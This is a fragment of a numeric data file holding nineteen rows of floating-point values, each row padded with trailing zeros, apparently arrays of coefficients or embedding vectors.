[0.23281, -0.07563, -0.21987, -1.04679, 0.27065, 1.04994, 0.22952, -0.72286, -0.02276, 0.55284, 0.44152, -0.23783, -0.51151, -0.34626, 1.12292, 0.25741, -1.04985, -0.56056, 0.72403, 1.35188, 0.24903, -0.4143, -0.01563, 0.14253, -0.79884, -0.74292, 0.20652, 1.19414, 0.44619, -0.98257, -0.80483, -0.20412, -0.29581, -0.07361, 0.44376, -0.1925, -0.58054, -0.30865, 0.04326, 0.37351, 0.23883, -0.32422, -0.25804, -0.21097, 0.04675, -0.27776, -0.05242, -0.47176, 0.07912, 0.09407, 0.38986, -0.29119, -0.68914, -0.52313, -0.46979, -0.51943, 0.13323, -0.67089, 0.14144, -0.45964, -0.69802, -0.65172, 0.4138, 0.45228, 0.24861, -0.19865, -0.29695, -0.16847, 0.64248, 0.2971, -0.15786, -0.01262, 0.45033, 0.17889, 0.01121, -0.16955, 0.05275, 0.14259, 0.32839, -0.1014, -0.35041, 0.02434, 0.02795, 0.45016, 0.62123, 0.24062, -0.0598, -0.18275, 0.30552, -0.10753, -0.17628, -0.40842, -0.56645, -0.4025, -0.0208, 0.17322, -0.19181, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.36522, -0.8567, 0.55488, 0.42297, 0.10459, -0.56049, -0.4708, 0.69789, 0.14531, -0.77933, -0.41608, -0.16672, 0.49185, 0.64424, -1.00531, -0.68183, 0.87777, 0.76931, -0.37946, -1.34215, -0.35683, 0.19655, -0.00179, -0.08074, -0.09852, 0.86355, 0.33193, -0.69468, -0.74097, 0.1146, 0.83481, 0.38374, -0.0501, 0.11935, 0.10681, -0.17461, 0.0222, 0.40773, -0.02908, -0.25839, -0.18137, -0.0776, 0.40073, 0.18939, 0.31102, -0.25405, 0.32424, 0.60341, 0.29666, -0.30901, -0.29307, 0.32755, 0.42579, 0.45077, 0.76194, 0.44304, 0.07014, 0.1487, 0.14812, 0.55867, 0.68123, 0.43313, 0.2291, -0.1936, -0.03821, -0.4235, -0.0759, -0.62027, -0.26953, -0.35677, 0.42872, 0.13363, -0.07745, 0.33942, 0.18381, 0.39363, -0.23712, -0.37742, -0.07303, 0.1347, 0.62924, 0.18172, 0.10723, -0.25403, -0.23477, -0.06374, 0.08299, 0.05708, -0.4794, 0.16157, -0.16422, 0.06834, 0.19868, -0.01876, -0.21662, 0.02854, 0.69412, 0.09146, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.3094, 0.25203, -0.11785, -0.54182, -1.2245, 0.27004, 0.48413, -0.46928, -0.25401, 0.50357, 0.31832, 0.0946, -0.11297, -0.43457, 0.50313, 1.12375, -0.61882, -1.01325, 0.08184, 0.91516, 0.84665, 0.13852, 0.03401, 0.39165, 0.53134, -0.6294, -0.58929, 0.1519, 0.83393, 0.68292, -0.52989, -0.22071, -0.08746, -0.3834, -0.20387, 0.69532, 0.32001, -0.07317, -0.36631, 0.26982, 0.26882, 0.12211, -0.43414, -0.20008, -0.05885, -0.09595, -0.34767, -0.08483, -0.56957, -0.38532, 0.11084, 0.32068, -0.20632, -0.46677, -0.58589, -0.53434, -0.67379, -0.01719, -0.11185, -0.21726, -0.40682, -0.2791, -0.34197, -0.25549, 0.24224, 0.49607, 0.62121, 0.06913, 0.22505, 0.12045, -0.27813, -0.38089, 0.39748, -0.03888, 0.04742, -0.0027, 0.11979, -0.15773, -0.23063, -0.12037, -0.32015, 0.02315, 0.00183, -0.19352, -0.18781, -0.07426, -0.2129, -0.35308, -0.20261, -0.20738, -0.15817, -0.37457, 0.18455, -0.27523, -0.70213, -0.09987, -0.24762, -0.20947, -0.04643, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.26912, -0.54789, -0.2953, 0.09174, 0.64063, -0.06223, -0.3432, 0.00102, 0.49785, -0.2665, 0.24394, -0.07179, -0.35644, -0.18201, -0.07976, -0.86661, 0.23211, 1.13286, 0.58915, -0.75948, -1.4182, -0.03275, -0.14225, -0.41178, -0.10388, 0.48751, 0.87327, -0.04048, -0.56495, -0.53953, 0.2411, 0.47392, 0.38661, 0.29195, 0.09137, -0.50282, -0.45374, -0.23525, 0.38163, 0.20358, 0.10095, -0.04809, 0.07345, -0.04828, -0.1979, 8e-05, 0.21571, 0.18864, 0.47879, 0.23584, -0.13965, -0.04491, 0.65297, 0.394, 0.031, 0.64903, 0.91652, -0.07814, -0.0498, -0.04505, 0.52621, 0.46028, 0.27663, 0.53869, 0.19756, -0.35051, -0.33662, -0.32329, 0.17523, -0.23441, -0.09746, -0.18701, -0.02343, -0.34048, -0.06058, 0.0381, 0.09535, 0.44976, -0.28272, 0.24949, 0.12093, 0.08884, 0.18176, 0.50316, 0.00472, -0.23032, -0.38458, -0.19996, 0.33228, -0.07603, -0.08382, 0.27233, 0.01134, 0.22172, 0.62728, -0.24359, -0.01485, 0.10324, -0.1395, -0.36294, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.00974, -0.48447, 0.48022, 0.0465, -0.16293, -0.41164, 0.38211, -0.02115, -0.59751, 0.38233, -0.11655, -0.22342, 0.11821, -0.11231, -0.22027, 0.46534, -0.02034, -0.94412, -0.76334, 0.46714, 0.91256, 0.31134, 0.36969, 0.0254, 0.12671, -0.2014, -0.50808, -0.01515, 0.32063, 0.40546, -0.2724, -0.37242, -0.12338, -0.10976, -0.3626, -0.11671, 0.41634, 0.46064, -0.29094, -0.16373, 0.16936, 0.08805, 0.40879, 0.19134, 0.10343, 0.10821, -0.04544, -0.52311, 0.28283, -0.40074, -0.5347, -0.54731, -0.47308, -0.26817, -0.38805, -0.43919, -0.55435, -0.53402, -0.18735, -0.2585, -0.31219, -0.68248, -0.13706, -0.12649, -0.17575, -0.24209, 0.01509, -0.15932, -0.07494, 0.29485, 0.71563, -0.05591, -0.5591, -0.25487, -0.00238, 0.01005, -0.20204, 0.13785, 0.13531, -0.24271, -0.332, 0.07426, -0.03836, -0.48934, -0.11887, 0.12071, -0.18966, -0.53375, -0.48545, -0.47917, 0.12449, -0.04219, -0.36812, 0.20028, -0.08968, 0.20773, 0.20086, -0.05525, -0.08762, 0.51304, -0.22782, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.12154, 0.08926, 0.37219, -0.62317, -0.04237, 0.7384, -0.32497, 0.00551, 0.10191, -0.74628, -0.16074, 0.68591, 0.46473, -0.15004, -0.25116, -0.07116, -0.11758, 0.60974, 0.93436, -0.14605, -0.63909, -0.47588, -0.0654, -0.14368, -0.48544, -0.04863, 0.48353, 0.50231, -0.23307, -0.47102, -0.15785, 0.18584, 0.01978, 0.21872, 0.49123, 0.51585, 0.02377, -0.18653, -0.07056, 0.27555, -0.15372, -0.02912, 0.03893, 0.19661, -0.08146, -0.08427, -0.15023, 0.149, -0.07373, 0.2219, 0.23953, 0.46011, 0.50503, 0.49402, 0.45021, 0.09345, 0.28749, 0.86538, 0.15979, -0.08969, 0.08852, 0.21546, 0.12035, -0.19107, -0.08212, 0.03293, -0.01061, -0.48953, -0.21919, -0.28329, -0.15997, -0.26193, 0.43309, 0.06758, -0.21793, -0.57134, 0.00288, 0.11901, 0.16827, -0.00338, 0.23843, 0.38626, -0.03481, 0.43486, 0.30194, -0.16703, -0.55838, -0.24993, -0.17161, 0.45458, -0.12126, -0.36911, 0.39978, -0.09391, -0.03301, -0.26222, 0.22696, 0.16556, 0.04669, 0.03978, 0.27828, 0.37648, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.53782, -0.60565, -0.52245, 0.12329, -0.27191, -0.45026, 0.08976, -0.00852, -0.04311, 0.54341, 0.5866, -0.68742, -0.42572, 0.38117, 0.52209, 0.15096, 0.03716, -0.38523, -0.7672, -0.32426, 0.41924, 0.22679, -0.06724, 0.34123, 0.28834, 0.09822, -0.28203, -0.42119, 0.13174, 0.78592, 0.4591, -0.2101, -0.20539, 0.00768, -0.24299, -0.38767, -0.12291, -0.05905, 0.25251, -0.05865, 0.15526, -0.06993, -0.52698, -0.08762, 0.29854, 0.01896, 0.26735, 0.08735, -0.38492, 0.12164, -0.14455, -0.26041, -0.36036, -0.58578, -0.53127, -0.33381, -0.67435, -0.69818, -0.12741, -0.00689, -0.00463, -0.14806, -0.41742, -0.17569, 0.42762, 0.14931, 0.28012, 0.14427, 0.11998, -0.3616, 0.18867, 0.27487, -0.1605, -0.47814, -0.06432, -0.00451, -0.18158, -0.29432, -0.16575, 0.02759, 0.05238, -0.10917, 0.09643, 0.16438, -0.14033, -0.28141, -0.23708, -0.00532, -0.07201, -0.28383, 0.1751, 0.24141, -0.12922, 0.23078, 0.00024, 0.19295, -0.46017, 0.19828, 0.27759, -0.05165, 0.06135, 0.26631, 0.03175, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.40122, -0.5422, 0.92472, -0.1304, -0.31437, 0.13266, 0.30772, -0.05083, 0.61482, -0.08973, -0.88377, 0.05074, 0.34819, -0.2734, -0.68716, -0.41514, -0.03367, 0.08524, 0.73914, 0.43083, -0.05519, -0.35228, -0.28756, -0.03968, -0.0036, -0.01559, 0.20203, 0.17974, 0.05843, -0.32141, -0.42096, -0.01934, 0.22357, -0.22394, -0.34646, -0.13652, 0.06169, 0.00663, -0.08932, 0.16908, 0.03524, -0.06518, 0.28354, -0.02932, -0.15961, -0.04484, 0.19247, 0.00558, 0.37537, 0.05125, -0.03703, -0.03065, 0.3159, 0.54136, 0.76029, 0.39669, 0.48095, 0.40949, 0.41069, 0.19164, 0.18779, 0.42461, 0.13784, 0.01453, -0.77681, -0.52737, -0.09974, -0.15992, -0.31954, -0.52723, 0.06791, -0.23729, -0.08033, 0.17172, 0.11483, -0.13939, -0.12857, 0.07013, -0.02575, 0.23264, -0.20997, 0.0991, 0.28109, 0.14553, 0.32203, 0.3444, 0.05791, -0.33078, -0.51683, -0.16702, 0.24802, -0.0529, -0.45694, -0.11356, 0.27884, -0.06856, 0.0752, 0.06597, -0.17109, 0.03453, 0.05974, -0.32093, 0.3176, -0.01732, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.87352, 0.12555, -0.76952, -0.23153, 0.74392, 0.00769, -0.54966, -0.01727, -0.61981, -0.03751, 0.8775, 0.04637, -0.66258, -0.31598, 0.88509, 0.56328, -0.05008, -0.24059, -0.24984, -0.28852, -0.00423, 0.47287, 0.18422, -0.04389, 0.15592, -0.05, 0.14629, -0.15505, -0.33019, 0.20727, 0.18803, 0.34382, -0.35088, 0.098, 0.55436, 0.40684, 0.07591, -0.03314, -0.43933, -0.17893, -0.21788, 0.41032, -0.0891, -0.49347, -0.14587, 0.15592, 0.02409, -0.0943, -0.14256, -0.10129, -0.0263, -0.04264, -0.15785, -0.29158, -0.50356, -0.0199, -0.13174, -0.26645, -0.50824, -0.17139, 0.10792, -0.33773, 0.28168, -0.04495, 0.29976, 0.26852, 0.03353, 0.20355, 0.66479, 0.65691, 0.06851, -0.17126, 0.04643, -0.25135, 0.12468, 0.09112, 0.06742, -0.01186, 0.0581, -0.21648, -0.23539, -0.15967, -0.10138, 0.16253, 0.19664, -0.23102, -0.22037, -0.17403, 0.20378, 0.00911, 0.1462, 0.07988, 0.22426, 0.3432, 0.12747, 0.0965, -0.31887, -0.05122, 0.1232, -0.0951, 0.06106, 0.29882, 0.11692, -0.11867, -0.15012, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.53135, -1.18583, 0.56649, 0.38771, -0.73418, -0.13959, 0.41019, -0.10302, 0.30413, 0.26403, -0.4169, -0.26736, 0.60291, 0.29897, -0.71569, -0.5756, 0.17795, 0.55286, 0.14305, 0.16681, 0.17491, -0.04965, -0.20229, -0.09999, -0.24184, -0.22494, 0.01112, 0.42624, 0.3535, -0.0818, -0.37565, -0.28102, 0.34904, -0.0777, -0.33748, -0.37454, -0.09675, -0.05396, 0.01273, -0.14087, 0.06071, -0.43354, 0.00874, 0.42331, 0.29909, -0.12722, -0.42093, 0.02745, -0.0175, 0.04511, 0.1362, 0.25195, 0.1866, 0.13482, 0.36717, 0.40139, -0.04022, 0.02123, 0.43897, 0.43547, -0.05714, 0.03089, -0.02825, 0.05539, -0.08599, -0.16155, -0.15982, -0.1274, -0.29543, -0.56094, 0.07871, 0.27674, 0.34473, -0.17768, -0.13009, -0.16872, 0.21246, 0.1598, 0.19791, 0.20974, 0.0535, 0.1673, 0.05084, 0.02037, -0.13219, 0.12438, 0.10278, 0.11084, -0.38212, 0.28534, -0.16875, 0.00681, -0.03524, -0.43084, -0.20321, 0.25572, 0.26196, 0.16394, 0.1627, 0.16059, -0.03947, -0.05614, 0.23157, 0.01487, -0.54844, -0.10867, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.46995, 0.73389, -0.21646, -0.84517, 0.18723, 0.53218, -0.00024, -0.22619, -0.04004, -0.37275, 0.26112, 0.54253, -0.37995, -0.6668, 0.21477, 0.59829, 0.2322, -0.48897, -0.21982, -0.0795, -0.24039, -0.21698, 0.36555, 0.15391, 0.08194, 0.16713, -0.1256, -0.22265, -0.27702, 0.13093, 0.57976, 0.39979, 0.03949, -0.29187, -0.1597, 0.48707, 0.34429, 0.24166, 0.13539, 0.09747, 0.14654, -0.05716, 0.19243, 0.07825, -0.24879, -0.22043, 0.10511, 0.17644, -0.07843, -0.11104, -0.12512, -0.29386, -0.07096, -0.09213, -0.15242, -0.5306, 0.10157, 0.16208, -0.09481, -0.13388, 0.27935, 0.22104, 0.14381, 0.22279, 0.18245, 0.17637, 0.159, 0.08093, 0.01101, 0.00748, 0.02569, -0.24187, 0.00671, 0.20364, -0.10838, 0.10097, -0.03988, -0.07786, 0.09308, 0.10312, -0.04763, -0.11953, -0.25457, -0.03537, 0.12144, -0.20482, -0.05112, -3e-05, -0.05197, -0.17001, 0.23572, 0.07263, -0.03484, -0.03619, -0.15252, -0.00361, -0.1281, -0.08252, -0.08585, 0.10479, 0.03569, -0.13507, -0.15985, 0.05567, 0.43827, -0.22397, -0.20233, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.04787, -1.45075, 0.27053, 0.70143, -0.12388, -0.67427, 0.24623, 0.28874, -0.06989, 0.37052, 0.08158, -0.53781, 0.1046, 0.47065, -0.03769, -0.79622, -0.54895, 0.40923, 0.61188, -0.00513, 0.12885, 0.16047, -0.28139, 0.00265, 0.16392, -0.01521, -0.31385, 0.1124, 0.28652, 0.2989, -0.30538, -0.4738, 0.01094, 0.5025, -0.0876, -0.42211, -0.52117, -0.08152, 0.22321, 0.0019, -0.16503, -0.11489, -0.45851, -0.08145, 0.07075, 0.3667, 0.14446, -0.26465, -0.08009, -0.00625, -0.09292, -0.00599, -0.16169, 0.10347, -0.07725, 0.20083, 0.22474, -0.15677, -0.22571, 0.11649, 0.28878, -0.00376, -0.11033, -0.20666, -0.21275, -0.18356, -0.1017, -0.07135, -0.00694, 0.14324, -0.00467, 0.0443, 0.16541, 0.00119, 0.09915, -0.08318, 0.09072, -0.11803, -0.05837, 0.46763, -0.0464, -0.14565, -0.01562, -0.08862, 0.0317, -0.06914, -0.12164, -0.37469, 0.04791, -0.25813, 0.01388, 0.0114, -0.03152, -0.11491, -0.18779, -0.00921, -0.05244, 0.19523, -0.0147, 0.24715, 0.196, 0.37936, 0.23993, -0.03561, 0.16229, 0.19868, -0.22661, -0.28084, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.04784, 0.46757, 0.18215, -0.73621, 0.0044, 0.32118, 0.0731, -0.18944, -0.15258, -0.12697, -0.27515, 0.26434, 0.23383, -0.42138, -0.13717, 0.71702, 0.58441, -0.19253, -0.55875, 0.17033, 0.19276, -0.4154, -0.17513, 0.03244, -0.08654, -0.08522, 0.37383, -0.01504, -0.31391, -0.45006, 0.1553, 0.5516, 0.25612, -0.28427, -0.11847, 0.30519, 0.49112, 0.12326, -0.2519, -0.19842, 0.23493, 0.33115, 0.32582, 0.29558, 0.19256, 0.04757, 0.17525, 0.25867, 0.19502, 0.00207, 0.04445, 0.13457, -0.1329, -0.27686, -0.25807, -0.04294, -0.25557, -0.08966, -0.26017, -0.0534, -0.29495, -0.09658, 0.00359, -0.0468, 0.35856, 0.27349, 0.32417, 0.19667, 0.06815, -0.02497, -0.19461, -0.17004, -0.07331, -0.09868, 0.39668, -0.06889, 0.21491, 0.12642, 0.07664, -0.19995, -0.09984, 0.07075, 0.02295, -0.10204, -0.13083, -0.12391, -0.03077, -0.00336, -0.0622, -0.06344, -0.29306, 0.31271, 0.22776, 0.19086, 0.27065, 0.05857, -0.08051, -0.16084, -0.09595, -0.28851, 0.0243, 0.05653, 0.01814, 0.02236, 0.10393, 0.0978, -0.02916, -0.18965, -0.04904, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.47865, -0.91898, -0.34637, 0.4627, 0.08882, -0.50754, -0.21524, 0.31683, 0.22689, -0.0041, 0.38083, 0.18001, -0.30678, 0.10822, 0.16328, -0.39975, -0.7225, -0.03643, 0.62462, -0.02197, -0.15963, 0.40091, 0.14055, -0.19964, 0.17974, 0.15554, -0.18066, -0.16539, 0.05589, 0.49801, 0.16609, -0.17942, -0.41244, 0.21435, 0.45158, -0.01335, -0.33584, -0.37561, 0.01731, 0.18002, -0.09995, -0.23314, -0.28682, -0.4575, -0.08263, -0.08263, 0.03155, -0.03362, -0.23986, -0.01395, 0.02348, 0.04399, 0.0684, 0.04207, 0.22061, 0.00801, -0.00866, 0.04348, 0.27253, -0.21228, 0.16057, 0.41323, 0.1606, 0.22345, -0.09972, -0.36491, -0.29712, 0.09885, -0.11268, -0.04221, -0.00994, 0.19459, 0.05818, 0.00645, -0.15648, 0.07229, 0.04519, -0.04394, -0.18247, 0.045, 0.38609, -0.00365, -0.35226, 0.09243, -0.00486, -0.14624, -0.08482, -0.10257, -0.12523, 0.16021, -0.05988, -0.24797, -0.1324, -0.21162, -0.052, 0.06486, 0.07662, 0.18048, -0.12882, 0.04405, -0.0649, -0.17313, 0.04407, 0.10449, -0.00285, -0.02338, 0.07078, 0.29437, -0.13064, 0.05081, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.14094, 0.07754, 0.36208, -0.55851, -0.27856, 0.48534, 0.41563, -0.21753, -0.0798, 0.08268, -0.09564, -0.55158, 0.14935, -0.01774, -0.21461, 0.15623, 0.82043, 0.27856, -0.41089, -0.27228, 0.0831, -0.09683, -0.18649, 0.19781, -0.23145, -0.25907, -0.06919, 0.29745, 0.06681, -0.45879, -0.33048, 0.07262, 0.41487, 0.03186, -0.55003, -0.17278, 0.33064, 0.52221, 0.04502, -0.16137, -0.14323, 0.0232, 0.19933, 0.29908, 0.06467, -0.0405, -0.05701, 0.11952, 0.20396, 0.02223, -0.04731, 0.07012, 0.05333, 0.01018, -0.20694, -0.36427, -0.10168, 0.04459, -0.1529, -0.05868, -0.072, -0.0622, -0.33997, -0.2751, 0.04623, 0.26247, 0.34378, -0.03881, 0.14038, 0.05812, 0.01701, -0.12567, -0.20822, -0.17937, -0.12761, 0.2322, 0.14407, 0.05128, 0.11948, -0.22908, -0.37759, 0.22025, -0.0397, 0.01061, -0.14957, -0.1608, 0.07003, -0.05651, 0.21037, -0.17864, 0.29037, 0.16894, 0.08024, 0.10975, 0.06332, 0.2765, 0.24566, 0.07996, -0.1199, -0.03988, -0.09292, -0.1652, -0.14671, -0.0967, 0.13964, -0.11114, -0.06773, -0.07338, -0.09645, 0.11907, -0.18881, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.24919, -0.55945, -0.15179, 0.22459, 0.34766, -0.28166, -0.37349, -0.07363, 0.07887, 0.04739, -0.23571, 0.59049, 0.27272, -0.10711, 0.1171, 0.0443, -0.69022, -0.36334, 0.44495, 0.34485, -0.18546, -0.05679, 0.09914, -0.26417, -0.08405, 0.21288, 0.09425, -0.24878, -0.35014, 0.17018, 0.50838, 0.13631, -0.13204, -0.17368, 0.43679, 0.25269, -0.26671, -0.20495, -0.06287, 0.19148, 0.14555, -0.1416, -0.09669, -0.16306, -0.17142, -0.00719, 0.01905, 0.03783, -0.1868, -0.06402, -0.04359, -0.12837, -0.18144, 0.01961, 0.14102, 0.39203, -0.05446, -0.08039, -0.02492, 0.0279, 0.06447, -0.02625, 0.02256, 0.09362, -0.04575, -0.08153, -0.22799, 0.07228, 0.173, 0.05657, -0.11074, 0.05543, 0.24503, 0.14339, -0.04655, -0.52849, 0.0689, 0.13625, 0.15102, 0.14425, 0.20339, 0.01702, 0.06152, -0.11471, -0.01029, 0.15239, -0.21328, -0.03717, -0.09102, 0.13888, 0.00299, -0.00301, -0.0563, 0.16144, 0.04751, -0.10791, 0.09942, 0.08029, -0.02141, -0.06669, -0.1106, 0.05129, 0.0315, -0.01194, -0.09716, 0.11266, -0.12007, 0.03043, -0.17325, -0.07878, 0.28841, 0.16292, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.11069, -0.0051, 0.21173, -0.32849, -0.36916, 0.00909, 0.41534, 0.17893, -0.22049, 0.02335, 0.45198, -0.14811, -0.52511, -0.15875, -0.06577, -0.04243, 0.41995, 0.47967, -0.11806, -0.2341, 0.29218, 0.08374, -0.21134, 0.17544, 0.29999, -0.18632, -0.40585, 0.08283, 0.42937, 0.1432, -0.38044, -0.30618, -0.03042, 0.25413, -0.16414, -0.28234, -0.05242, 0.01714, -0.15038, -0.26386, -0.25486, -0.04636, 0.2562, 0.13844, 0.11755, -0.02713, -0.05476, -0.01058, 0.13034, 0.12659, 0.02433, 0.07789, 0.01439, -0.06041, 0.09182, -0.06032, -0.14569, -0.07255, 0.0107, -0.1179, -0.127, 0.09414, 0.25449, 0.13891, -0.21685, -0.081, 0.21159, -0.06518, -0.08394, -0.05696, -0.05205, 0.04603, -0.11955, -0.04592, -0.06888, 0.08813, -0.01213, -0.02895, -0.0412, -0.00573, -0.19053, -0.2352, -0.08941, -0.05223, -0.08876, -0.12924, 0.09901, -0.07434, -0.13114, 0.01195, -0.18749, 0.21509, 0.34804, 0.06244, 0.09292, 0.13301, 0.10051, -0.10552, -0.01976, -0.11328, 0.02814, -0.0297, -0.07104, -0.25746, -0.00692, -0.12126, -0.04937, 0.04529, 0.00694, -0.14531, 0.09709, 0.15289, -0.02703, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.28492, -0.59675, -0.33956, 0.17088, 0.28627, -0.12251, -0.05035, 0.0872, 0.15736, -0.03258, -0.34334, -0.11537, 0.48927, 0.23598, -0.17074, 0.11074, -0.21662, -0.45871, 0.08628, 0.34609, -0.29306, -0.17767, 0.13025, -0.0153, -0.35129, -0.05806, 0.34072, 0.11524, -0.40143, -0.22611, 0.2337, 0.3083, -0.02669, -0.06748, -0.02149, 0.36608, 0.19895, -0.03345, 0.18264, 0.15418, 0.30255, 0.06959, -0.21529, -0.22323, -0.12583, 0.01457, 0.09031, -0.01714, -0.05391, -0.16774, -0.01496, 0.22701, 0.05802, -0.03723, -0.26173, 0.11763, 0.11835, -0.03685, 3e-05, 0.03376, 0.10842, -0.05547, -0.22821, 0.0036, -0.00843, 0.05233, -0.23166, -0.12411, 0.05277, 0.10801, -0.01354, -0.06074, -0.17771, 0.01213, -0.06725, -0.17086, -0.46122, -0.09943, 0.01962, -0.17363, 0.08251, 0.28414, 0.10212, 0.03869, -0.22463, -0.0658, 0.07234, -0.03065, 0.04091, 0.02774, 0.13556, -0.07217, -0.13884, -0.12227, 0.02808, 0.17215, 0.03299, 0.29817, -0.04825, -0.22103, -0.49238, -0.19505, 0.18636, 0.26425, 0.25574, -0.02215, -0.00413, 0.06795, 0.14981, 0.01636, -0.33552, 0.20079, 0.07169, 0.09703, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.20487, 0.04156, 0.3792, -0.38749, -0.16961, -0.0033, 0.14334, 0.03365, -0.08169, -0.00768, 0.27605, 0.33927, -0.3268, -0.37595, 0.12483, -0.11168, 0.02799, 0.44463, 0.04224, -0.47967, 0.08917, 0.3942, 0.00409, -0.07069, 0.26669, 0.18669, -0.24233, -0.46948, 0.18256, 0.29875, 0.17913, -0.11168, 0.08691, 0.01377, -0.13285, -0.27902, -0.11264, 0.2059, -0.04229, -0.33599, -0.33566, -0.18561, 0.1111, 0.31305, 0.23703, -0.01298, -0.14532, -0.09819, -0.11794, 0.06899, 0.09158, -0.18184, -0.05112, 0.055, -0.05704, 0.00025, -0.0963, 0.10103, -0.09632, -0.17347, -0.15636, 0.00698, -0.03522, 0.13997, 0.07837, 0.15325, 0.12999, 0.24343, 0.13287, -0.0665, -0.1851, -0.10342, 0.09261, 0.09672, 0.077, -0.02441, 0.20274, -0.04794, -0.1004, 0.04192, 0.03279, -0.05516, -0.19904, 0.08561, 0.1907, 0.04634, -0.28758, 0.06084, 0.03913, 0.03937, -0.0583, -0.12319, 0.13901, 0.31106, 0.12028, 0.10549, 0.18231, -0.05442, 0.03489, 0.03303, -0.01694, -0.09732, 0.10533, -0.05415, 0.22999, 0.10609, 0.1381, -0.09551, -0.0602, 0.03729, 0.00196, 0.00762, 0.02966, 0.26653, 0.073, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
